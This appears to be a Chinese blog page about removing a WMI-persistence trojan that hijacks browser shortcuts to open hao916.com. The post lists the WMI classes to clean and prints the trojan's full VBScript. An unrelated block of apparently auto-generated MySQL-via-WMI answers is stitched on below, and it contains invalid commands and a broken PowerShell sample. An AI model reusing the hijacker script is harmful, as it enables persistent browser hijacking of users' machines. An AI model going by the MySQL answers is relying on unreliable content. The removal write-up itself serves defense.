WMI 定时启动木马

现象: 某些浏览器的快捷方式经常性自动被修改, 相当于主页修改成 hao916.com/.....


使用WMI_Tools 工具

找到以下类

__EventFilter
ActiveScriptEventConsumer
__FilterToConsumerBinding
__TimerInstruction

删除里面相关的实例


木马脚本如下

On Error Resume Next:
Const link = "http://hao916.com/?r=bdypjtssxx&m=d1":
Const link360 = "http://hao916.com/?r=bdypjtssxx&m=d1&s=3":
browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":
lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\xxx\Desktop,C:\Users\xxx\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\xxx\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\xxx\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\xxx\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":
browsersArr = split(browsers,","):
Set oDic = CreateObject("scripting.dictionary"):
For Each browser In browsersArr:
oDic.Add LCase(browser), browser:
Next:
lnkpathsArr = split(lnkpaths,","):
Set oFolders = CreateObject("scripting.dictionary"):
For Each lnkpath In lnkpathsArr:
oFolders.Add lnkpath, lnkpath:
Next:
Set fso = CreateObject("Scripting.Filesystemobject"):
Set WshShell = CreateObject("Wscript.Shell"):
For Each oFolder In oFolders:
If fso.FolderExists(oFolder) Then:
For Each file In fso.GetFolder(oFolder).Files:
If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:
Set oShellLink = WshShell.CreateShortcut(file.Path):
path = oShellLink.TargetPath:
name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):
If oDic.Exists(LCase(name)) Then:
If LCase(name) = LCase("360se.exe") Then:
oShellLink.Arguments = link360:
Else:
oShellLink.Arguments = link:
End If:
If file.Attributes And 1 Then:
file.Attributes = file.Attributes - 1:
End If:
oShellLink.Save:
End If:
End If:
Next:
End If:
Next:


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: WMI是一种Windows管理工具,用于管理Windows上的各种资源和应用程序。如果你想要通过WMI启动MySQL,可以按照以下步骤进行操作: 1. 打开命令提示符:在开始菜单中搜索“cmd”,然后右键单击“命令提示符”并选择“以管理员身份运行”。 2. 输入以下命令来连接到WMI服务:wmic 3. 输入以下命令来启动MySQL服务:service start mysql 4. 如果MySQL服务已经运行,则可以使用以下命令来停止服务:service stop mysql 请注意,这些命令可能会因操作系统版本和MySQL版本的不同而有所差异。如果出现任何错误,请参考MySQL文档或WMI文档以获取更多帮助。 ### 回答2: 要启动MySQL,你可以使用WMI(Windows Management Instrumentation)来执行相应的操作。以下是通过WMI启动MySQL的步骤: 1. 首先,通过WMI连接到本地或远程计算机的命名空间。可以使用VBScript、PowerShell或任何其他支持WMI的编程语言进行连接。 2. 通过WMI查询语言(WQL)查询MySQL服务的运行状态。可以使用类似于"SELECT * FROM Win32_Service WHERE Name='MySQL'"的查询语句来获取MySQL服务的信息。 3. 根据查询结果的返回值判断MySQL服务的状态。通常,返回值为"Running"表示MySQL服务已经在运行,而返回值为"Stopped"表示MySQL服务已停止。 4. 如果MySQL服务已停止,则可以通过WMI启动它。使用类似于"Win32_Service.StartService"的WMI方法来启动服务。 以下是一个使用PowerShell脚本来启动MySQL的示例: ``` $computerName = "." # 本地计算机 $serviceName = "MySQL" # MySQL服务名称 # 连接到WMI命名空间 $wmi = Get-WmiObject -Namespace "root\cimv2" -ComputerName $computerName # 查询MySQL服务的运行状态 $query = "SELECT * FROM Win32_Service WHERE Name='$serviceName'" $service = $wmi.ExecQuery($query) # 检查MySQL服务的状态并启动它 if ($service.State -eq "Stopped") { $service.StartService() Write-Host "MySQL服务已启动。" } else { Write-Host "MySQL服务已在运行中。" } ``` 以上示例中,使用PowerShell连接到WMI命名空间,并查询MySQL服务的状态。如果服务未运行,则使用WMI的StartService方法启动服务,并输出相关提示信息。 请注意,具体的细节可能会因操作系统版本、MySQL版本等因素而有所不同。建议在实际应用中查阅相关文档和参考资料,以确保正确配置和使用WMI启动MySQL。 ### 回答3: WMI是Windows Management Instrumentation的缩写,它是Windows操作系统的一种管理框架,用于监控和控制计算机系统的硬件和软件。MySQL是一个流行的开源关系型数据库管理系统。 要启动MySQL,可以使用WMI的命令行工具——Windows Management Instrumentation Command-line(WMIC)。以下是在命令提示符下使用WMIC启动MySQL的步骤: 1. 打开命令提示符:按下Win + R键,然后输入“cmd”,回车打开命令提示符窗口。 2. 输入以下命令以获取MySQL服务的状态: ``` wmic service where "name='mysql'" get name, state ``` 3. 如果MySQL服务的状态为“Stopped”,则可以使用以下命令启动MySQL: ``` wmic service where "name='mysql'" call startservice ``` 4. 您应该会看到一个提示,显示调用成功。 这些命令会使用WMI来操作Windows服务,通过查询服务的状态并调用相关方法来启动或停止服务。在这种情况下,我们查询名为“mysql”的服务,并调用“startservice”方法来启动MySQL服务。 注意:这些命令需要以管理员身份运行。如果您没有管理员权限,则无法启动或停止MySQL服务。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值